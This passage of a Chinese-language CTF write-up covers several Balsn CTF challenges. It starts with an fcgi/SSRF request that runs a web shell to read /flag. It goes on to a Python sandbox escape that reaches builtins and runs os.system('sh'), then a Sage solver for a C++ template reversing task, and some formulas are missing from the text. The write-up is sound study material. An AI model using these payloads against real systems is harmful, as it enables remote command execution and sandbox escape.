AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/tmp/tmp/pear/download/shell.php/?cmd=cat%20/flag' -v
Flag: BALSN{e4Sy_4pAcHy_5SrF}
Misc
metaeasy
class MasterMetaClass(type):
def __new__(cls, class_name, class_parents, class_attr):
def getFlag(self):
print('Here you go, my master')
with open('flag') as f:
print(f.read())
class_attr[getFlag.__name__] = getFlag
attrs = ((name, value) for name, value in class_attr.items() if not name.startswith('__'))
class_attr = dict(('IWant'+name.upper()+'Plz', value) for name, value in attrs)
newclass = super().__new__(cls, class_name, class_parents, class_attr)
return newclass
def __init__(*argv):
print('Bad guy! No Flag !!')
raise 'Illegal'
class BalsnMetaClass(type):
def getFlag(self):
print('You\'re not Master! No Flag !!')
def __new__(cls, class_name, class_parents, class_attr):
newclass = super().__new__(cls, class_name, class_parents, class_attr)
setattr(newclass, cls.getFlag.__name__, cls.getFlag)
return newclass
def secure_vars(s):
attrs = {name:value for name, value in vars(s).items() if not name.startswith('__')}
return attrs
safe_dict = {
'BalsnMetaClass' : BalsnMetaClass,
'MasterMetaClass' : MasterMetaClass,
'False' : False,
'True' : True,
'abs' : abs,
'all' : all,
'any' : any,
'ascii' : ascii,
'bin' : bin,
'bool' : bool,
'bytearray' : bytearray,
'bytes' : bytes,
'chr' : chr,
'complex' : complex,
'dict' : dict,
'dir' : dir,
'divmod' : divmod,
'enumerate' : enumerate,
'filter' : filter,
'float' : float,
'format' : format,
'hash' : hash,
'help' : help,
'hex' : hex,
'id' : id,
'int' : int,
'iter' : iter,
'len' : len,
'list' : list,
'map' : map,
'max' : max,
'min' : min,
'next' : next,
'oct' : oct,
'ord' : ord,
'pow' : pow,
'print' : print,
'range' : range,
'reversed' : reversed,
'round' : round,
'set' : set,
'slice' : slice,
'sorted' : sorted,
'str' : str,
'sum' : sum,
'tuple' : tuple,
'type' : type,
'vars' : secure_vars,
'zip' : zip,
'__builtins__':None
}
def createMethod(code):
if len(code) > 45:
print('Too long!! Bad Guy!!')
return
for x in ' _$#@~':
code = code.replace(x,'')
def wrapper(self):
exec(code, safe_dict, {'self' : self})
return wrapper
def setName(pattern):
while True:
name = input(f'Give me your {pattern} name :')
if (name.isalpha()):
break
else:
print('Illegal Name...')
return name
def setAttribute(cls):
attrName = setName('attribute')
while True:
attrValue = input(f'Give me your value:')
if (attrValue.isalnum()):
break
else:
print('Illegal value...')
setattr(cls, attrName, attrValue)
def setMethod(cls):
methodName = setName('method')
code = input(f'Give me your function:')
func = createMethod(code)
setattr(cls, methodName, func)
def getAttribute(obj):
attrs = [attr for attr in dir(obj) if not callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the attribute\'s name :')
if x not in attrs:
print(f'You can\'t access the attribute {x}')
return
else:
try:
print(f'{x}: {getattr(obj, x)}')
except:
print("Something went wrong in your attribute...")
return
def callMethod(cls, obj):
attrs = [attr for attr in dir(obj) if callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the method\'s name :')
if x not in attrs:
print(f'You can\'t access the method {x}')
return
else:
try:
print(f'calling method {x}...')
cls.__dict__[x](obj)
print('done')
except:
print('Something went wrong in your method...')
return
class Guest(metaclass = BalsnMetaClass):
pass
if __name__ == '__main__':
print(f'Welcome!!We have prepared a class named "Guest" for you')
cnt = 0
while cnt < 3:
cnt += 1
print('1. Add attribute')
print('2. Add method')
print('3. Finish')
x = input("Option ? :")
if x == "1":
setAttribute(Guest)
elif x == "2":
setMethod(Guest)
elif x == "3":
break
else:
print("invalid input.")
cnt -= 1
print("Well Done! We Create an instance for you !")
obj = Guest()
cnt = 0
while cnt < 3:
cnt += 1
print('1. Inspect attribute')
print('2. Using method')
print('3. Exit')
x = input("Option ? :")
if x == "1":
getAttribute(obj)
elif x == "2":
callMethod(Guest, obj)
elif x == "3":
print("Okay...exit...")
break
else:
print("invalid input.")
cnt -= 1
這題 code 有點多,簡單來說它可以讓你定義三個 attribute 或是 method,然後讓你呼叫或是檢視 attribute 或是 method。目標是要想辦法呼叫到 getFlag
函數。
我這題不是用 intended 解的所以比較快的樣子,有 firstblood。
反正它 createMethod
的地方只要求長度為 45 以下,然後 _$#@~
的字元都會被 replace 掉。_
直接全形字元 _
繞過,然後空白用 \t
繞過就差不多了。所以之後就用 generator 湊個 gi_frame.f_back.f_back.f_builtins
這樣接一接就有 builtins,然後直接拿 shell 結束。
解法:
- create method
a
withself.g=(x.g.gi_frame.f_back for x in [self])
- create method
b
withself.b=next(self.g).f_back.f_builtins
- create method
c
withself.b[list(self.b)[6]]('os').system('sh')
- call method
a
- call method
b
- call method
c
cat flag
Intended 的話可以看別人的 wp,例如這篇
Rev
The g++ VM 1
這題有個沒 stripped 的 C++ ELF,在 ida 打開可以知道它是會讀入 36 字元的 flag 的 flag checker。字元限制在這個 charset 裡面: mgzreab_fw{p}dqlnxstvjyohiuck
。
reverse 的部份主要都是 🎃 在弄的,簡單來說 main
就是讀 6 個字元為一組放到 global 的 P,J,K,L,M,N
幾個變數去,然後會呼叫一個 table(i / 6)
函數。table(x)
裡面會先把六個字元 encode 成一個數字 S
,之後根據 x
是 0~5
的不同進入不同的函數利用 S
去計算一些東西,最後回傳答案到 main
和一些 magic number 比較。
這題的一大難點是它 table
裡面的函數名稱都長到不行,明顯是 C++ template 濫用到極致的程度,用 ghidra 打開時它還會因為 demangle 而 memory 爆炸…。光 table
裡面第一個把字元轉換成 S
的函數的名稱用 c++filt
展開就有 10MB。
總之 🎃 手動把 encode 的函數和 table(0)
給逆了出來。encode 的方法大致可表示如下:
def encode(s):
P, J, K, L, M, N = s
J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05
J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05
J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05
J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05
J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05
S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
return S
其中的 %
運算是 C 的 modulo, -1 % 3 = -1
,所以 (((J - 0x61) % 0x1A + 0x1A) % 0x1A)
的運算其實在 python 中就只是 (J - 0x61) % 0x1A
。另外是可以注意到 0x1A ** 2 == 0x2A4
, 0x1A ** 3 == 0x44A8
,所以這個的 encode 方法可以這樣表示:
其中 等等的都是小於 的正整數,所以它 % 0x1D188D05
實際上毫無影響,所以就把 S
轉換為 進制就能得到 encode 前的字串:
def decode(s):
ss = list(s.digits(0x1A))
ss += [0] * (6 - len(ss))
return bytes(x + 0x61 for x in ss)
而 table(0)
的函數裡面也是好多層,相當複雜,不過大致上就是計算 的運算,其中 很容易取得,但 需要自己 reverse 出來才能得到。
其他的 table(x)
函數也是做差不多的事,而他們的 雖然都不同,但是都是質數。這邊我是想說 都很小,不到 30 bits 而已。找他們乘法群的生成元出來,然後進 gdb 下斷點改 的值並觀察 的輸出,然後計算 dlog 就能求出 。
之後就拿那些 magic number 開 方根,這邊就差不多和 single prime RSA 一樣,很容易解。
def encode(s):
P, J, K, L, M, N = s
J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05
J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05
J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05
J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05
J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05
S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
return S
def decode(s):
ss = list(s.digits(0x1A))
ss += [0] * (6 - len(ss))
return bytes(x + 0x61 for x in ss)
cs = [316196015, 183449189, 325026406, 93125040, 247649200, 358564396]
ps = [521206709, 280983943, 481821731, 446513681, 295950349, 519344851]
es = [398527879, 12904111, 229804014, 379903019, 116437633, 461497417]
for p, e, c in zip(ps, es, cs):
F = GF(p)
print(decode(ZZ(F(c).nth_root(e))).decode(), end="")
# balsnatheyymagicyycpplusyytemplateyc
Flag: balsn{the__magic__cpplus__template_}